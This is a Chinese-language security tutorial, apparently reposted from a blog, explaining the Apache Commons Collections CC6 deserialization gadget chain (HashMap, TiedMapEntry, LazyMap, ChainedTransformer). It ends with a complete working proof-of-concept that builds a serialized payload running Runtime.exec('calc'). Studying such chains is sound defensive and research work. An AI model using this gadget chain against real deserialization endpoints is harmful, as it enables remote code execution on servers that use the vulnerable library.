Java安全 反序列化(5) CC6链原理分析

2024-03-22 21:20

本文主要是介绍Java安全 反序列化(5) CC6链原理分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Java安全 反序列化(5) CC6链原理分析

CC6学习的目的在于其可以无视jdk版本,这条链子更像CC1-LazyMap和URLDNS链子的缝合版

文章目录

  • Java安全 反序列化(5) CC6链原理分析
  • 前言
  • 一.CC6的原理和实现以及易错点
    • 我们如何实现调用LazyMap.get()方法
    • 一个易错点
  • 二.完整CC6POC

前言

上篇文章我们通过LazyMap.get()方法实现ChainerTransformer的链式调用

但是我们再次依赖了AnnotationInvocationHandler作为我们反序列化后的入口类

在JDK 8u71以后开发者重写了AnnotationInvocationHandler使我们依赖AnnotationInvocationHandler 调用LazyMap.get()TransformerMap.checkSetValue实现ChaindeTransformer.transform()方法失效

如何让调用ChaindeTransformer.transform()执行任意命令可以无视JDK版本?

我们知道URLDNS链具有普遍性,我们可以同样通过HashMap实现入口类吗?

通过自动调用hashcode方法最终实现ChainerTransformer的链式调用

一.CC6的原理和实现以及易错点

我们如何实现调用LazyMap.get()方法

如果我们查找用法,会发现非常多的结果

image-20240322164733384

前辈们通过TiedMapEntry类实现 HashMapLazyMap的联系

回顾一下HashMap重写了readobject方法

putVal(hash(key), key, value, false, false);
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

调用了传入键值对象的hashCode方法

而TiedMapEntry同样有同名函数hashCode方法,可以实现链式的转移

image-20240322170023348

hashCode方法调用了自身getValue方法

而恰好getValue方法可以调用传入map的get方法

image-20240322170148274

map我们可以控制,修改为LazyMap,不就是和CC1-LazyMap的后半部分一模一样

我们可以直接拿上篇文章的payload进行修改后半段

        Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};HashMap<Object,Object> hashmap=new HashMap<>();ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);

TiedMapEntry接受Map map,Object key

image-20240322170650821

我们需要控制map为LazyMap对象,key值任意

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");

而HashMap中控制key值为tiedMapEntry

HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);

一个易错点

当我们不反序列化时,直接执行代码,居然也可以RCE

        Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};HashMap<Object,Object> hashmap=new HashMap<>();ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");HashMap<Object,Object> map2= new HashMap<>();map2.put(tiedMapEntry,1);}

image-20240322171633815

原因和URLDNS链那里一样,因为HashMap的put方法也可以调用hashcode方法

对我们的结果造成干扰

image-20240322160435862

因此我们应该和URLDNS链操作一致,先不让CC链触发,实现后触发

如何操作?

Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));

我们可以随便传个new ConstantTransformer(1)代替chainedTransformer

使它put时不触发,put后再传回正确的值

同时还要注意再LazyMap.get()方法中想要实现ChainedTransformer.transform()就必须保证LazyMap的Key为空

image-20240322173115626

而HashMap.put()方法后,返回了key值,因此key不再为空,后续不可以触发

factory.transform(key)过不了判断

image-20240322174554789

所以put后我们删除LazyMap的键值

lazymap.remove("key");

再通过反射修改LazyMap.decorate(hashmap,new ConstantTransformer(1));中的键为ChaindeTransformer
在运行时动态触发poc

 Class c=LazyMap.class;Field factory = c.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);

image-20240322175554734

可以实现RCE

二.完整CC6POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};HashMap<Object,Object> hashmap=new HashMap<>();ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");HashMap<Object,Object> map2= new HashMap<>();map2.put(tiedMapEntry,1);lazymap.remove("key");Class c=LazyMap.class;Field factory = c.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialize(map2);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(newFileInputStream("ser.bin"));ois.readObject();ois.close();}
}

这篇关于Java安全 反序列化(5) CC6链原理分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/836213

相关文章

Spring Boot中WebSocket常用使用方法详解

《SpringBoot中WebSocket常用使用方法详解》本文从WebSocket的基础概念出发,详细介绍了SpringBoot集成WebSocket的步骤,并重点讲解了常用的使用方法,包括简单消... 目录一、WebSocket基础概念1.1 什么是WebSocket1.2 WebSocket与HTTP

SpringBoot+Docker+Graylog 如何让错误自动报警

《SpringBoot+Docker+Graylog如何让错误自动报警》SpringBoot默认使用SLF4J与Logback,支持多日志级别和配置方式,可输出到控制台、文件及远程服务器,集成ELK... 目录01 Spring Boot 默认日志框架解析02 Spring Boot 日志级别详解03 Sp

java中反射Reflection的4个作用详解

《java中反射Reflection的4个作用详解》反射Reflection是Java等编程语言中的一个重要特性,它允许程序在运行时进行自我检查和对内部成员(如字段、方法、类等)的操作,本文将详细介绍... 目录作用1、在运行时判断任意一个对象所属的类作用2、在运行时构造任意一个类的对象作用3、在运行时判断

java如何解压zip压缩包

《java如何解压zip压缩包》:本文主要介绍java如何解压zip压缩包问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java解压zip压缩包实例代码结果如下总结java解压zip压缩包坐在旁边的小伙伴问我怎么用 java 将服务器上的压缩文件解压出来,

SpringBoot中SM2公钥加密、私钥解密的实现示例详解

《SpringBoot中SM2公钥加密、私钥解密的实现示例详解》本文介绍了如何在SpringBoot项目中实现SM2公钥加密和私钥解密的功能,通过使用Hutool库和BouncyCastle依赖,简化... 目录一、前言1、加密信息(示例)2、加密结果(示例)二、实现代码1、yml文件配置2、创建SM2工具

Spring WebFlux 与 WebClient 使用指南及最佳实践

《SpringWebFlux与WebClient使用指南及最佳实践》WebClient是SpringWebFlux模块提供的非阻塞、响应式HTTP客户端,基于ProjectReactor实现,... 目录Spring WebFlux 与 WebClient 使用指南1. WebClient 概述2. 核心依

Spring Boot @RestControllerAdvice全局异常处理最佳实践

《SpringBoot@RestControllerAdvice全局异常处理最佳实践》本文详解SpringBoot中通过@RestControllerAdvice实现全局异常处理,强调代码复用、统... 目录前言一、为什么要使用全局异常处理?二、核心注解解析1. @RestControllerAdvice2

Spring IoC 容器的使用详解(最新整理)

《SpringIoC容器的使用详解(最新整理)》文章介绍了Spring框架中的应用分层思想与IoC容器原理,通过分层解耦业务逻辑、数据访问等模块,IoC容器利用@Component注解管理Bean... 目录1. 应用分层2. IoC 的介绍3. IoC 容器的使用3.1. bean 的存储3.2. 方法注

Spring事务传播机制最佳实践

《Spring事务传播机制最佳实践》Spring的事务传播机制为我们提供了优雅的解决方案,本文将带您深入理解这一机制,掌握不同场景下的最佳实践,感兴趣的朋友一起看看吧... 目录1. 什么是事务传播行为2. Spring支持的七种事务传播行为2.1 REQUIRED(默认)2.2 SUPPORTS2

怎样通过分析GC日志来定位Java进程的内存问题

《怎样通过分析GC日志来定位Java进程的内存问题》:本文主要介绍怎样通过分析GC日志来定位Java进程的内存问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、GC 日志基础配置1. 启用详细 GC 日志2. 不同收集器的日志格式二、关键指标与分析维度1.